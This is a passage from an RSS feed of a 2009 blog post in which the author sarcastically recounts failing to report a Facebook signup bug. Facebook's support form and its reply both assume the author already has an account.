More worrisome is them mentioning &#8216;the account you referenced in your Facebook support enquiry&#8217;. At this moment I&#8217;m thinking that they might need confirmation of the contact details of the bugreport before looking at it. Of course. Because that&#8217;s what it said in the &#8216;Magical T&#8217; form (see screenshot above). I have to enter an email address, and if I have one that&#8217;s associated with a Facebook account I am to use that one. If they would require a facebook account for any bug reports they would do the check before letting me submit any bugs at all, wouldn&#8217;t they? But any email address is fine &#8211; it says so on the form &#8211; AND YOUR FORM IS CALLED &#8220;SIGNUP-BUGS&#8221;! If I&#8217;m filing a bug report because I can&#8217;t sign up then, by pure and simple logic , I DO NOT HAVE AN ACCOUNT. Requiring me to create an account so I can contact you about not being able to create an account is INSANE. Anyone not on crack gets this, so I get my hopes up and confirm my email address. It is with great anticipation that I open up the e-mail I get twenty minutes later:
</p>
<hr/>
<pre>
From: The Facebook Team &lt;info+du7b7dy@facebook.com&gt;
Subject: Re: SIGNUP-BUGS: valid email address is not accepted
&lt;snip - ed&gt;

We currently do not have a registration under this email address.

Unfortunately, you will need to go through the sign up process again.
If you experience any further problems or encounter issues logging in,
please visit http://www.facebook.com/help.php?page=746.

Thanks,

The Facebook Team
</pre>
<hr/>
<h3>FACEBOOK PEOPLE SMOKE CRACK</h3>
<p>
No of course they don&#8217;t. They just happen to have a really intricate sense of humour and a really crappy QA process. I tried to help and point these flaws out to them, but for the moment, I&#8217;m defeated. And I&#8217;m definitely not going to trust Facebook with my data thankyouverymuch.</p>
]]></content:encoded>
			<wfw:commentRss>http://smorgasbord.gavagai.nl/2009/04/facebook-devs-have-a-great-sense-of-humour/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

